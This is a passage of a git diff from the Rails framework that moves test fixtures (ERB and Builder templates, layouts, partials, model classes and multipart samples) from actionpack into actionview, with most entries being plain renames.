+++ b/actionview/test/fixtures/actionpack/test/hello_world_container.builder
diff --git a/actionpack/test/fixtures/test/hello_world_from_rxml.builder b/actionview/test/fixtures/actionpack/test/hello_world_from_rxml.builder
index 619a97ba96..619a97ba96 100644
--- a/actionpack/test/fixtures/test/hello_world_from_rxml.builder
+++ b/actionview/test/fixtures/actionpack/test/hello_world_from_rxml.builder
diff --git a/actionpack/test/fixtures/test/hello_world_with_layout_false.erb b/actionview/test/fixtures/actionpack/test/hello_world_with_layout_false.erb
index 6769dd60bd..6769dd60bd 100644
--- a/actionpack/test/fixtures/test/hello_world_with_layout_false.erb
+++ b/actionview/test/fixtures/actionpack/test/hello_world_with_layout_false.erb
diff --git a/actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb b/actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb
new file mode 100644
index 0000000000..ec31545356
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb
@@ -0,0 +1,2 @@
+Hello world!
+<%= render '/test/partial' %>
diff --git a/actionview/test/fixtures/actionpack/test/hello_xml_world.builder b/actionview/test/fixtures/actionpack/test/hello_xml_world.builder
new file mode 100644
index 0000000000..e7081b89fe
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/hello_xml_world.builder
@@ -0,0 +1,11 @@
+xml.html do
+ xml.head do
+ xml.title "Hello World"
+ end
+
+ xml.body do
+ xml.p "abes"
+ xml.p "monks"
+ xml.p "wiseguys"
+ end
+end \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/html_template.html.erb b/actionview/test/fixtures/actionpack/test/html_template.html.erb
index 1bbc2b7f09..1bbc2b7f09 100644
--- a/actionpack/test/fixtures/test/html_template.html.erb
+++ b/actionview/test/fixtures/actionpack/test/html_template.html.erb
diff --git a/actionpack/test/fixtures/test/hyphen-ated.erb b/actionview/test/fixtures/actionpack/test/hyphen-ated.erb
index cd0875583a..cd0875583a 100644
--- a/actionpack/test/fixtures/test/hyphen-ated.erb
+++ b/actionview/test/fixtures/actionpack/test/hyphen-ated.erb
diff --git a/actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder b/actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder
new file mode 100644
index 0000000000..2fcb32d247
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder
@@ -0,0 +1,2 @@
+xml.atom do
+end
diff --git a/actionpack/test/fixtures/test/list.erb b/actionview/test/fixtures/actionpack/test/list.erb
index 0a4bda58ee..0a4bda58ee 100644
--- a/actionpack/test/fixtures/test/list.erb
+++ b/actionview/test/fixtures/actionpack/test/list.erb
diff --git a/actionpack/test/fixtures/test/non_erb_block_content_for.builder b/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder
index d539a425a4..d539a425a4 100644
--- a/actionpack/test/fixtures/test/non_erb_block_content_for.builder
+++ b/actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder
diff --git a/actionpack/test/fixtures/test/potential_conflicts.erb b/actionview/test/fixtures/actionpack/test/potential_conflicts.erb
index a5e964e359..a5e964e359 100644
--- a/actionpack/test/fixtures/test/potential_conflicts.erb
+++ b/actionview/test/fixtures/actionpack/test/potential_conflicts.erb
diff --git a/actionpack/test/fixtures/test/proper_block_detection.erb b/actionview/test/fixtures/actionpack/test/proper_block_detection.erb
index b55efbb25d..b55efbb25d 100644
--- a/actionpack/test/fixtures/test/proper_block_detection.erb
+++ b/actionview/test/fixtures/actionpack/test/proper_block_detection.erb
diff --git a/actionpack/test/fixtures/test/render_file_from_template.html.erb b/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb
index fde9f4bb64..fde9f4bb64 100644
--- a/actionpack/test/fixtures/test/render_file_from_template.html.erb
+++ b/actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb
diff --git a/actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb b/actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb
new file mode 100644
index 0000000000..8b8a449236
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionview/test/fixtures/actionpack/test/render_file_with_locals.erb b/actionview/test/fixtures/actionpack/test/render_file_with_locals.erb
new file mode 100644
index 0000000000..ebe09faee6
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_with_locals.erb
@@ -0,0 +1 @@
+The secret is <%= secret %>
diff --git a/actionpack/test/fixtures/test/render_file_with_locals_and_default.erb b/actionview/test/fixtures/actionpack/test/render_file_with_locals_and_default.erb
index 9b4900acc5..9b4900acc5 100644
--- a/actionpack/test/fixtures/test/render_file_with_locals_and_default.erb
+++ b/actionview/test/fixtures/actionpack/test/render_file_with_locals_and_default.erb
diff --git a/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.da.html.erb
index 0740b2d07c..0740b2d07c 100644
--- a/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb
+++ b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.da.html.erb
diff --git a/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.html.erb
index 4a11845cfe..4a11845cfe 100644
--- a/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb
+++ b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.html.erb
diff --git a/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb b/actionview/test/fixtures/actionpack/test/render_implicit_js_template_without_layout.js.erb
index 892ae5eca2..892ae5eca2 100644
--- a/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb
+++ b/actionview/test/fixtures/actionpack/test/render_implicit_js_template_without_layout.js.erb
diff --git a/actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb b/actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb
new file mode 100644
index 0000000000..1461b95186
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb
@@ -0,0 +1 @@
+<%= render partial: 'test/_directory/partial_with_locales', locals: {'name' => 'Jane'} %>
diff --git a/actionpack/test/fixtures/test/render_to_string_test.erb b/actionview/test/fixtures/actionpack/test/render_to_string_test.erb
index 6e267e8634..6e267e8634 100644
--- a/actionpack/test/fixtures/test/render_to_string_test.erb
+++ b/actionview/test/fixtures/actionpack/test/render_to_string_test.erb
diff --git a/actionpack/test/fixtures/test/render_two_partials.html.erb b/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb
index 3db6025860..3db6025860 100644
--- a/actionpack/test/fixtures/test/render_two_partials.html.erb
+++ b/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb
diff --git a/actionpack/test/fixtures/test/using_layout_around_block.html.erb b/actionview/test/fixtures/actionpack/test/using_layout_around_block.html.erb
index 3d6661df9a..3d6661df9a 100644
--- a/actionpack/test/fixtures/test/using_layout_around_block.html.erb
+++ b/actionview/test/fixtures/actionpack/test/using_layout_around_block.html.erb
diff --git a/actionpack/test/fixtures/test/with_html_partial.html.erb b/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb
index d84d909d64..d84d909d64 100644
--- a/actionpack/test/fixtures/test/with_html_partial.html.erb
+++ b/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb
diff --git a/actionpack/test/fixtures/test/with_partial.html.erb b/actionview/test/fixtures/actionpack/test/with_partial.html.erb
index 7502364cf5..7502364cf5 100644
--- a/actionpack/test/fixtures/test/with_partial.html.erb
+++ b/actionview/test/fixtures/actionpack/test/with_partial.html.erb
diff --git a/actionpack/test/fixtures/test/with_partial.text.erb b/actionview/test/fixtures/actionpack/test/with_partial.text.erb
index 5f068ebf27..5f068ebf27 100644
--- a/actionpack/test/fixtures/test/with_partial.text.erb
+++ b/actionview/test/fixtures/actionpack/test/with_partial.text.erb
diff --git a/actionpack/test/fixtures/test/with_xml_template.html.erb b/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb
index e54a7cd001..e54a7cd001 100644
--- a/actionpack/test/fixtures/test/with_xml_template.html.erb
+++ b/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb
diff --git a/actionpack/test/fixtures/comments/empty.de.html.erb b/actionview/test/fixtures/comments/empty.de.html.erb
index cffd90dd26..cffd90dd26 100644
--- a/actionpack/test/fixtures/comments/empty.de.html.erb
+++ b/actionview/test/fixtures/comments/empty.de.html.erb
diff --git a/actionpack/test/fixtures/comments/empty.html.builder b/actionview/test/fixtures/comments/empty.html.builder
index 2b0c7207a3..2b0c7207a3 100644
--- a/actionpack/test/fixtures/comments/empty.html.builder
+++ b/actionview/test/fixtures/comments/empty.html.builder
diff --git a/actionpack/test/fixtures/comments/empty.html.erb b/actionview/test/fixtures/comments/empty.html.erb
index 827f3861de..827f3861de 100644
--- a/actionpack/test/fixtures/comments/empty.html.erb
+++ b/actionview/test/fixtures/comments/empty.html.erb
diff --git a/actionpack/test/fixtures/comments/empty.xml.erb b/actionview/test/fixtures/comments/empty.xml.erb
index db1027cd7d..db1027cd7d 100644
--- a/actionpack/test/fixtures/comments/empty.xml.erb
+++ b/actionview/test/fixtures/comments/empty.xml.erb
diff --git a/actionpack/test/fixtures/companies.yml b/actionview/test/fixtures/companies.yml
index ed2992e0b1..ed2992e0b1 100644
--- a/actionpack/test/fixtures/companies.yml
+++ b/actionview/test/fixtures/companies.yml
diff --git a/actionview/test/fixtures/company.rb b/actionview/test/fixtures/company.rb
new file mode 100644
index 0000000000..f3ac3642fa
--- /dev/null
+++ b/actionview/test/fixtures/company.rb
@@ -0,0 +1,9 @@
+class Company < ActiveRecord::Base
+ has_one :mascot
+ self.sequence_name = :companies_nonstd_seq
+
+ validates_presence_of :name
+ def validate
+ errors.add('rating', 'rating should not be 2') if rating == 2
+ end
+end
diff --git a/actionpack/test/fixtures/custom_pattern/another.html.erb b/actionview/test/fixtures/custom_pattern/another.html.erb
index 6d7f3bafbb..6d7f3bafbb 100644
--- a/actionpack/test/fixtures/custom_pattern/another.html.erb
+++ b/actionview/test/fixtures/custom_pattern/another.html.erb
diff --git a/actionpack/test/fixtures/custom_pattern/html/another.erb b/actionview/test/fixtures/custom_pattern/html/another.erb
index dbd7e96ab6..dbd7e96ab6 100644
--- a/actionpack/test/fixtures/custom_pattern/html/another.erb
+++ b/actionview/test/fixtures/custom_pattern/html/another.erb
diff --git a/actionpack/test/fixtures/custom_pattern/html/path.erb b/actionview/test/fixtures/custom_pattern/html/path.erb
index 6d7f3bafbb..6d7f3bafbb 100644
--- a/actionpack/test/fixtures/custom_pattern/html/path.erb
+++ b/actionview/test/fixtures/custom_pattern/html/path.erb
diff --git a/actionview/test/fixtures/customers/_customer.html.erb b/actionview/test/fixtures/customers/_customer.html.erb
new file mode 100644
index 0000000000..483571e22a
--- /dev/null
+++ b/actionview/test/fixtures/customers/_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= customer.name %> \ No newline at end of file
diff --git a/actionview/test/fixtures/customers/_customer.xml.erb b/actionview/test/fixtures/customers/_customer.xml.erb
new file mode 100644
index 0000000000..d3f1e0768f
--- /dev/null
+++ b/actionview/test/fixtures/customers/_customer.xml.erb
@@ -0,0 +1 @@
+<greeting><%= greeting %></greeting><name><%= customer.name %></name> \ No newline at end of file
diff --git a/actionpack/test/fixtures/db_definitions/sqlite.sql b/actionview/test/fixtures/db_definitions/sqlite.sql
index 99df4b3e61..99df4b3e61 100644
--- a/actionpack/test/fixtures/db_definitions/sqlite.sql
+++ b/actionview/test/fixtures/db_definitions/sqlite.sql
diff --git a/actionview/test/fixtures/developer.rb b/actionview/test/fixtures/developer.rb
new file mode 100644
index 0000000000..8b3f0a8039
--- /dev/null
+++ b/actionview/test/fixtures/developer.rb
@@ -0,0 +1,6 @@
+class Developer < ActiveRecord::Base
+ has_and_belongs_to_many :projects
+ has_many :replies
+ has_many :topics, :through => :replies
+ accepts_nested_attributes_for :projects
+end
diff --git a/actionpack/test/fixtures/developers.yml b/actionview/test/fixtures/developers.yml
index 3656564f63..3656564f63 100644
--- a/actionpack/test/fixtures/developers.yml
+++ b/actionview/test/fixtures/developers.yml
diff --git a/actionpack/test/fixtures/developers/_developer.erb b/actionview/test/fixtures/developers/_developer.erb
index 904a3137e7..904a3137e7 100644
--- a/actionpack/test/fixtures/developers/_developer.erb
+++ b/actionview/test/fixtures/developers/_developer.erb
diff --git a/actionpack/test/fixtures/developers_projects.yml b/actionview/test/fixtures/developers_projects.yml
index cee359c7cf..cee359c7cf 100644
--- a/actionpack/test/fixtures/developers_projects.yml
+++ b/actionview/test/fixtures/developers_projects.yml
diff --git a/actionpack/test/fixtures/digestor/comments/_comment.html.erb b/actionview/test/fixtures/digestor/comments/_comment.html.erb
index f172e749da..f172e749da 100644
--- a/actionpack/test/fixtures/digestor/comments/_comment.html.erb
+++ b/actionview/test/fixtures/digestor/comments/_comment.html.erb
diff --git a/actionpack/test/fixtures/digestor/comments/_comments.html.erb b/actionview/test/fixtures/digestor/comments/_comments.html.erb
index c28646a283..c28646a283 100644
--- a/actionpack/test/fixtures/digestor/comments/_comments.html.erb
+++ b/actionview/test/fixtures/digestor/comments/_comments.html.erb
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/actionview/test/fixtures/digestor/events/_event.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/digestor/events/_event.html.erb
+++ b/actionview/test/fixtures/digestor/events/_event.html.erb
diff --git a/actionview/test/fixtures/digestor/level/_recursion.html.erb b/actionview/test/fixtures/digestor/level/_recursion.html.erb
new file mode 100644
index 0000000000..ee5aaf09c3
--- /dev/null
+++ b/actionview/test/fixtures/digestor/level/_recursion.html.erb
@@ -0,0 +1 @@
+<%= render 'recursion' %>
diff --git a/actionpack/test/fixtures/digestor/level/below/_header.html.erb b/actionview/test/fixtures/digestor/level/below/_header.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/digestor/level/below/_header.html.erb
+++ b/actionview/test/fixtures/digestor/level/below/_header.html.erb
diff --git a/actionpack/test/fixtures/digestor/level/below/index.html.erb b/actionview/test/fixtures/digestor/level/below/index.html.erb
index b92f49a8f8..b92f49a8f8 100644
--- a/actionpack/test/fixtures/digestor/level/below/index.html.erb
+++ b/actionview/test/fixtures/digestor/level/below/index.html.erb
diff --git a/actionview/test/fixtures/digestor/level/recursion.html.erb b/actionview/test/fixtures/digestor/level/recursion.html.erb
new file mode 100644
index 0000000000..ee5aaf09c3
--- /dev/null
+++ b/actionview/test/fixtures/digestor/level/recursion.html.erb
@@ -0,0 +1 @@
+<%= render 'recursion' %>
diff --git a/actionpack/test/fixtures/digestor/messages/_form.html.erb b/actionview/test/fixtures/digestor/messages/_form.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/digestor/messages/_form.html.erb
+++ b/actionview/test/fixtures/digestor/messages/_form.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/_header.html.erb b/actionview/test/fixtures/digestor/messages/_header.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/digestor/messages/_header.html.erb
+++ b/actionview/test/fixtures/digestor/messages/_header.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/_message.html.erb b/actionview/test/fixtures/digestor/messages/_message.html.erb
index 406a0fb848..406a0fb848 100644
--- a/actionpack/test/fixtures/digestor/messages/_message.html.erb
+++ b/actionview/test/fixtures/digestor/messages/_message.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/actions/_move.html.erb b/actionview/test/fixtures/digestor/messages/actions/_move.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/digestor/messages/actions/_move.html.erb
+++ b/actionview/test/fixtures/digestor/messages/actions/_move.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/edit.html.erb b/actionview/test/fixtures/digestor/messages/edit.html.erb
index a9e0a88e32..a9e0a88e32 100644
--- a/actionpack/test/fixtures/digestor/messages/edit.html.erb
+++ b/actionview/test/fixtures/digestor/messages/edit.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/index.html.erb b/actionview/test/fixtures/digestor/messages/index.html.erb
index 1937b652e4..1937b652e4 100644
--- a/actionpack/test/fixtures/digestor/messages/index.html.erb
+++ b/actionview/test/fixtures/digestor/messages/index.html.erb
diff --git a/actionview/test/fixtures/digestor/messages/new.html+iphone.erb b/actionview/test/fixtures/digestor/messages/new.html+iphone.erb
new file mode 100644
index 0000000000..791e1d36b4
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/new.html+iphone.erb
@@ -0,0 +1,15 @@
+<%# Template Dependency: messages/message %>
+
+<%= render "header" %>
+<%= render "comments/comments" %>
+
+<%= render "messages/actions/move" %>
+
+<%= render @message.history.events %>
+
+<%# render "something_missing" %>
+<%# render "something_missing_1" %>
+
+<%
+ # Template Dependency: messages/form
+%> \ No newline at end of file
diff --git a/actionview/test/fixtures/digestor/messages/show.html.erb b/actionview/test/fixtures/digestor/messages/show.html.erb
new file mode 100644
index 0000000000..42aa2363dd
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/show.html.erb
@@ -0,0 +1,14 @@
+<%# Template Dependency: messages/message %>
+<%= render "header" %>
+<%= render "comments/comments" %>
+
+<%= render "messages/actions/move" %>
+
+<%= render @message.history.events %>
+
+<%# render "something_missing" %>
+<%# render "something_missing_1" %>
+
+<%
+ # Template Dependency: messages/form
+%> \ No newline at end of file
diff --git a/actionpack/test/fixtures/fun/games/_game.erb b/actionview/test/fixtures/fun/games/_game.erb
index f0f542ff92..f0f542ff92 100644
--- a/actionpack/test/fixtures/fun/games/_game.erb
+++ b/actionview/test/fixtures/fun/games/_game.erb
diff --git a/actionview/test/fixtures/fun/games/hello_world.erb b/actionview/test/fixtures/fun/games/hello_world.erb
new file mode 100644
index 0000000000..1ebfbe2539
--- /dev/null
+++ b/actionview/test/fixtures/fun/games/hello_world.erb
@@ -0,0 +1 @@
+Living in a nested world \ No newline at end of file
diff --git a/actionpack/test/fixtures/fun/serious/games/_game.erb b/actionview/test/fixtures/fun/serious/games/_game.erb
index 523bc55bd7..523bc55bd7 100644
--- a/actionpack/test/fixtures/fun/serious/games/_game.erb
+++ b/actionview/test/fixtures/fun/serious/games/_game.erb
diff --git a/actionpack/test/fixtures/games/_game.erb b/actionview/test/fixtures/games/_game.erb
index 1aeb81fcba..1aeb81fcba 100644
--- a/actionpack/test/fixtures/games/_game.erb
+++ b/actionview/test/fixtures/games/_game.erb
diff --git a/actionview/test/fixtures/good_customers/_good_customer.html.erb b/actionview/test/fixtures/good_customers/_good_customer.html.erb
new file mode 100644
index 0000000000..a2d97ebc6d
--- /dev/null
+++ b/actionview/test/fixtures/good_customers/_good_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %> good customer: <%= good_customer.name %><%= good_customer_counter %> \ No newline at end of file
diff --git a/actionview/test/fixtures/helpers/abc_helper.rb b/actionview/test/fixtures/helpers/abc_helper.rb
new file mode 100644
index 0000000000..cf2774bb5f
--- /dev/null
+++ b/actionview/test/fixtures/helpers/abc_helper.rb
@@ -0,0 +1,3 @@
+module AbcHelper
+ def bare_a() end
+end
diff --git a/actionpack/test/fixtures/helpers/helpery_test_helper.rb b/actionview/test/fixtures/helpers/helpery_test_helper.rb
index a4f2951efa..a4f2951efa 100644
--- a/actionpack/test/fixtures/helpers/helpery_test_helper.rb
+++ b/actionview/test/fixtures/helpers/helpery_test_helper.rb
diff --git a/actionview/test/fixtures/helpers_missing/invalid_require_helper.rb b/actionview/test/fixtures/helpers_missing/invalid_require_helper.rb
new file mode 100644
index 0000000000..d8801e54d5
--- /dev/null
+++ b/actionview/test/fixtures/helpers_missing/invalid_require_helper.rb
@@ -0,0 +1,5 @@
+require 'very_invalid_file_name'
+
+module InvalidRequireHelper
+end
+
diff --git a/actionpack/test/fixtures/layout_tests/alt/hello.erb b/actionview/test/fixtures/layout_tests/alt/hello.erb
index 1055c36659..1055c36659 100644
--- a/actionpack/test/fixtures/layout_tests/alt/hello.erb
+++ b/actionview/test/fixtures/layout_tests/alt/hello.erb
diff --git a/actionview/test/fixtures/layouts/_column.html.erb b/actionview/test/fixtures/layouts/_column.html.erb
new file mode 100644
index 0000000000..96db002b8a
--- /dev/null
+++ b/actionview/test/fixtures/layouts/_column.html.erb
@@ -0,0 +1,2 @@
+<div id="column"><%= yield :column %></div>
+<div id="content"><%= yield %></div> \ No newline at end of file
diff --git a/actionview/test/fixtures/layouts/_customers.erb b/actionview/test/fixtures/layouts/_customers.erb
new file mode 100644
index 0000000000..ae63f13cd3
--- /dev/null
+++ b/actionview/test/fixtures/layouts/_customers.erb
@@ -0,0 +1 @@
+<title><%= yield Struct.new(:name).new("David") %></title> \ No newline at end of file
diff --git a/actionview/test/fixtures/layouts/_partial_and_yield.erb b/actionview/test/fixtures/layouts/_partial_and_yield.erb
new file mode 100644
index 0000000000..74cc428ffa
--- /dev/null
+++ b/actionview/test/fixtures/layouts/_partial_and_yield.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'test/partial' %>
+<%= yield %>
diff --git a/actionview/test/fixtures/layouts/_yield_only.erb b/actionview/test/fixtures/layouts/_yield_only.erb
new file mode 100644
index 0000000000..37f0bddbd7
--- /dev/null
+++ b/actionview/test/fixtures/layouts/_yield_only.erb
@@ -0,0 +1 @@
+<%= yield %>
diff --git a/actionview/test/fixtures/layouts/_yield_with_params.erb b/actionview/test/fixtures/layouts/_yield_with_params.erb
new file mode 100644
index 0000000000..68e6557fb8
--- /dev/null
+++ b/actionview/test/fixtures/layouts/_yield_with_params.erb
@@ -0,0 +1 @@
+<%= yield 'Yield!' %>
diff --git a/actionview/test/fixtures/layouts/streaming.erb b/actionview/test/fixtures/layouts/streaming.erb
new file mode 100644
index 0000000000..d3f896a6ca
--- /dev/null
+++ b/actionview/test/fixtures/layouts/streaming.erb
@@ -0,0 +1,4 @@
+<%= yield :header -%>
+<%= yield -%>
+<%= yield :footer -%>
+<%= yield(:unknown).presence || "." -%> \ No newline at end of file
diff --git a/actionview/test/fixtures/layouts/yield.erb b/actionview/test/fixtures/layouts/yield.erb
new file mode 100644
index 0000000000..482dc9022e
--- /dev/null
+++ b/actionview/test/fixtures/layouts/yield.erb
@@ -0,0 +1,2 @@
+<title><%= yield :title %></title>
+<%= yield %>
diff --git a/actionview/test/fixtures/layouts/yield_with_render_inline_inside.erb b/actionview/test/fixtures/layouts/yield_with_render_inline_inside.erb
new file mode 100644
index 0000000000..7298d79690
--- /dev/null
+++ b/actionview/test/fixtures/layouts/yield_with_render_inline_inside.erb
@@ -0,0 +1,2 @@
+<%= render :inline => 'welcome' %>
+<%= yield %>
diff --git a/actionview/test/fixtures/layouts/yield_with_render_partial_inside.erb b/actionview/test/fixtures/layouts/yield_with_render_partial_inside.erb
new file mode 100644
index 0000000000..74cc428ffa
--- /dev/null
+++ b/actionview/test/fixtures/layouts/yield_with_render_partial_inside.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'test/partial' %>
+<%= yield %>
diff --git a/actionpack/test/fixtures/mascot.rb b/actionview/test/fixtures/mascot.rb
index f9f1448b8f..f9f1448b8f 100644
--- a/actionpack/test/fixtures/mascot.rb
+++ b/actionview/test/fixtures/mascot.rb
diff --git a/actionpack/test/fixtures/mascots.yml b/actionview/test/fixtures/mascots.yml
index 17b7dff454..17b7dff454 100644
--- a/actionpack/test/fixtures/mascots.yml
+++ b/actionview/test/fixtures/mascots.yml
diff --git a/actionpack/test/fixtures/mascots/_mascot.html.erb b/actionview/test/fixtures/mascots/_mascot.html.erb
index 432773a1da..432773a1da 100644
--- a/actionpack/test/fixtures/mascots/_mascot.html.erb
+++ b/actionview/test/fixtures/mascots/_mascot.html.erb
diff --git a/actionview/test/fixtures/multipart/bracketed_utf8_param b/actionview/test/fixtures/multipart/bracketed_utf8_param
new file mode 100644
index 0000000000..df9cecea08
--- /dev/null
+++ b/actionview/test/fixtures/multipart/bracketed_utf8_param
@@ -0,0 +1,5 @@
+--AaB03x
+Content-Disposition: form-data; name="Iñtërnâtiônàlizætiøn_name[Iñtërnâtiônàlizætiøn_nested_name]"
+
+Iñtërnâtiônàlizætiøn_value
+--AaB03x--
diff --git a/actionview/test/fixtures/multipart/single_utf8_param b/actionview/test/fixtures/multipart/single_utf8_param
new file mode 100644
index 0000000000..1d9fae7b17
--- /dev/null
+++ b/actionview/test/fixtures/multipart/single_utf8_param
@@ -0,0 +1,5 @@
+--AaB03x
+Content-Disposition: form-data; name="Iñtërnâtiônàlizætiøn_name"
+
+Iñtërnâtiônàlizætiøn_value
+--AaB03x--
diff --git a/actionpack/test/fixtures/override/test/hello_world.erb b/actionview/test/fixtures/override/test/hello_world.erb
index 3e308d3d86..3e308d3d86 100644
--- a/actionpack/test/fixtures/override/test/hello_world.erb
+++ b/actionview/test/fixtures/override/test/hello_world.erb
diff --git a/actionpack/test/fixtures/override2/layouts/test/sub.erb b/actionview/test/fixtures/override2/layouts/test/sub.erb
index 3863d5a8ef..3863d5a8ef 100644
--- a/actionpack/test/fixtures/override2/layouts/test/sub.erb
+++ b/actionview/test/fixtures/override2/layouts/test/sub.erb
diff --git a/actionpack/test/fixtures/plain_text.raw b/actionview/test/fixtures/plain_text.raw
index b13985337f..b13985337f 100644
--- a/actionpack/test/fixtures/plain_text.raw
+++ b/actionview/test/fixtures/plain_text.raw
diff --git a/actionpack/test/fixtures/plain_text_with_characters.raw b/actionview/test/fixtures/plain_text_with_characters.raw
index 1e86e44fb4..1e86e44fb4 100644
--- a/actionpack/test/fixtures/plain_text_with_characters.raw
+++ b/actionview/test/fixtures/plain_text_with_characters.raw
diff --git a/actionpack/test/fixtures/project.rb b/actionview/test/fixtures/project.rb
index c124a9e605..c124a9e605 100644
--- a/actionpack/test/fixtures/project.rb
+++ b/actionview/test/fixtures/project.rb
diff --git a/actionpack/test/fixtures/projects.yml b/actionview/test/fixtures/projects.yml
index 02800c7824..02800c7824 100644
--- a/actionpack/test/fixtures/projects.yml
+++ b/actionview/test/fixtures/projects.yml
diff --git a/actionpack/test/fixtures/projects/_project.erb b/actionview/test/fixtures/projects/_project.erb
index 480c4c2af3..480c4c2af3 100644
--- a/actionpack/test/fixtures/projects/_project.erb
+++ b/actionview/test/fixtures/projects/_project.erb
diff --git a/actionpack/test/fixtures/blog_public/.gitignore b/actionview/test/fixtures/public/.gitignore
index 312e635ee6..312e635ee6 100644
--- a/actionpack/test/fixtures/blog_public/.gitignore
+++ b/actionview/test/fixtures/public/.gitignore
diff --git a/actionpack/test/fixtures/public/elsewhere/cools.js b/actionview/test/fixtures/public/elsewhere/cools.js
index 6e12fe29c4..6e12fe29c4 100644
--- a/actionpack/test/fixtures/public/elsewhere/cools.js
+++ b/actionview/test/fixtures/public/elsewhere/cools.js
diff --git a/actionpack/test/fixtures/public/elsewhere/file.css b/actionview/test/fixtures/public/elsewhere/file.css
index 6aea0733b1..6aea0733b1 100644
--- a/actionpack/test/fixtures/public/elsewhere/file.css
+++ b/actionview/test/fixtures/public/elsewhere/file.css
diff --git a/actionview/test/fixtures/public/foo/baz.css b/actionview/test/fixtures/public/foo/baz.css
new file mode 100644
index 0000000000..b5173fbef2
--- /dev/null
+++ b/actionview/test/fixtures/public/foo/baz.css
@@ -0,0 +1,3 @@
+body {
+background: #000;
+}
diff --git a/actionpack/test/fixtures/public/javascripts/application.js b/actionview/test/fixtures/public/javascripts/application.js
index 9702692980..9702692980 100644
--- a/actionpack/test/fixtures/public/javascripts/application.js
+++ b/actionview/test/fixtures/public/javascripts/application.js
diff --git a/actionpack/test/fixtures/public/javascripts/bank.js b/actionview/test/fixtures/public/javascripts/bank.js
index 4a1bee7182..4a1bee7182 100644
--- a/actionpack/test/fixtures/public/javascripts/bank.js
+++ b/actionview/test/fixtures/public/javascripts/bank.js
diff --git a/actionpack/test/fixtures/public/javascripts/common.javascript b/actionview/test/fixtures/public/javascripts/common.javascript
index 2ae1929056..2ae1929056 100644
--- a/actionpack/test/fixtures/public/javascripts/common.javascript
+++ b/actionview/test/fixtures/public/javascripts/common.javascript
diff --git a/actionpack/test/fixtures/public/javascripts/controls.js b/actionview/test/fixtures/public/javascripts/controls.js
index 88168d9f13..88168d9f13 100644
--- a/actionpack/test/fixtures/public/javascripts/controls.js
+++ b/actionview/test/fixtures/public/javascripts/controls.js
diff --git a/actionpack/test/fixtures/public/javascripts/dragdrop.js b/actionview/test/fixtures/public/javascripts/dragdrop.js
index c07061ac0c..c07061ac0c 100644
--- a/actionpack/test/fixtures/public/javascripts/dragdrop.js
+++ b/actionview/test/fixtures/public/javascripts/dragdrop.js
diff --git a/actionpack/test/fixtures/public/javascripts/effects.js b/actionview/test/fixtures/public/javascripts/effects.js
index b555d63034..b555d63034 100644
--- a/actionpack/test/fixtures/public/javascripts/effects.js
+++ b/actionview/test/fixtures/public/javascripts/effects.js
diff --git a/actionpack/test/fixtures/public/javascripts/prototype.js b/actionview/test/fixtures/public/javascripts/prototype.js
index 9780064a0e..9780064a0e 100644
--- a/actionpack/test/fixtures/public/javascripts/prototype.js
+++ b/actionview/test/fixtures/public/javascripts/prototype.js
diff --git a/actionpack/test/fixtures/public/javascripts/robber.js b/actionview/test/fixtures/public/javascripts/robber.js
index eb82fcbdf4..eb82fcbdf4 100644
--- a/actionpack/test/fixtures/public/javascripts/robber.js
+++ b/actionview/test/fixtures/public/javascripts/robber.js
